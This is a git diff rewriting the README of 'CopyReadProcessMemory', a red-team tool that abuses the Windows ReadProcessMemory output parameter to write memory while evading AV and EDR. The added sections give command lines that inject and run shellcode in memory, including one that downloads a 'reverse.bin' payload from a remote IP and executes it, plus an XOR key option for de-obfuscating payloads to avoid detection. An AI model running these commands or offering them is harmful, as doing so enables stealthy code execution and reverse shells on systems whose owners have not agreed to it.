Merge branch 'master' of https://github.com/chmod760/CopyReadProcessMemory

README.md

@@ -1,24 +1,92 @@
-Copiar Buffer en proceso actual o Remoto usando ReadProcessMemory
+# CopyReadProcessMemory
 
+## Description
+
+CopyReadProcessMemory expoits the miss-configuration/vulnerability present on the API Windows method *ReadProcessMemory* discovered by *DarkCoderSc*.
+
+It exploits the nature of the in/out pointer param named **lpNumberOfBytesRead*, that enables to write into process memory without calling common API methods to do so such as memcpy, this is perfect for AV and EDR detection evasion
+
+```C++
 BOOL ReadProcessMemory(
   [in]  HANDLE  hProcess,
   [in]  LPCVOID lpBaseAddress,
   [out] LPVOID  lpBuffer,
   [in]  SIZE_T  nSize,
-  [out] SIZE_T  *lpNumberOfBytesRead
+  [out] SIZE_T  *lpNumberOfBytesRead      <----------------------------- Vulnerable param
 );
+```
 
-La clase esta en que se le pasa como parametro nSize el caracter a leer por ejemplo 'H' que es 0x48 o 72 en Hexadimal, y donde lo va a guardar el numero de caracteres leidos es en *lpNumberOfBytesRead donde le pasamos la direccion de nuestro buffer.
+This tool can directly be used on red team operations as a POC.
 
-pDestOffset = (SIZE_T*)((BYTE*)pNewBuffer + I);
+## Download
 
-// Esta llamada en realidad no copia correctamente, pero se deja igual que en Delphi
-ReadProcessMemory(
-    GetCurrentProcess(),                      // handle del proceso
-    pNewBuffer,                               // dirección origen (??)
-    pDummyBuffer,                             // destino temporal
-    *((BYTE*)AString.data() + I),             // tamaño (??)
-    (SIZE_T*)pDestOffset                      // bytes leídos
-);
+Just go the release section of the repo and download the latest version
 
-Es una nueva forma de escribir en el proceso normal o remoto
+```
+https://github.com/chmod760/CopyReadProcessMemory/releases/tag/Stable-1.0
+```
+
+## Usage
+
+The main options of the program are the next:
+
+```Powershell
+CopyReadProcessMemory.exe -h
+
+Usage:
+  CopyReadProcessMemory [OPTIONS]
+
+Modes (choose exactly one):
+  -s, --string_inject <STRING>      Inject a raw string
+  -f, --file_path <FILE>            Load payload from file
+  -t, --remote_payload <TARGET>     Use remote payload
+
+Options:
+  -e, --execute                     Execute payload after processing
+  -x, --xor                         XOR key to decode the shellcode
+  -h, --help                        Show this help
+  -V, --version                     Show version
+```
+
+<img width="1436" height="337" alt="image" src="https://github.com/user-attachments/assets/912ed5e6-5d1a-40a3-9865-fae43718e969" />
+
+
+There are three possible surfaces for attack scenarios (at least):
+
+### Remote shellcode in-memory inyection & execution
+
+```Powershell
+CopyReadProcessMemory.exe -t http://192.168.1.140:8081/reverse.bin -e
+```
+
+### In terminal line shellcode inyection & execution
+
+```Powershell
+CopyReadProcessMemory.exe  -s "Copy Using ReadProcessMemory"
+```
+
+### From external file shellcode inyection & execution
+
+
+```Powershell
+CopyReadProcessMemory.exe -f "C:\Users\Public\Download\reverse.bin" -e 
+```
+
+### Payload De-obfuscation
+
+**From an attacker’s perspective, dropping raw shellcode on a system usually means instant detection and failure. Because of this, attackers often obfuscate or encrypt their shellcode to avoid being flagged by AV/EDR solutions, which requires decrypting or de-obfuscating it in memory. To support this workflow, I added an extra feature that can de-obfuscate the payload using the `-x` argument, allowing you to provide the key used for de-xor’ing it.**
+
+```Powershell
+CopyReadProcessMemory.exe -f C:\Users\Public\Downloads\reverse.bin_xored -e -x chmod760
+```
+
+It can also be applied to the other features described earlier in this document.
+
+Additionally, a Python script is included to help with payload obfuscation.
+
+
+### Credits
+
+Big kudos to Jean-Pierre LESUEUR (DarkCoderSc) for discovering the pointer vulnerability and posting it to the unprotect.it project, you can contact him here:
+
+https://unprotect.it/users/public/profile/darkcodersc/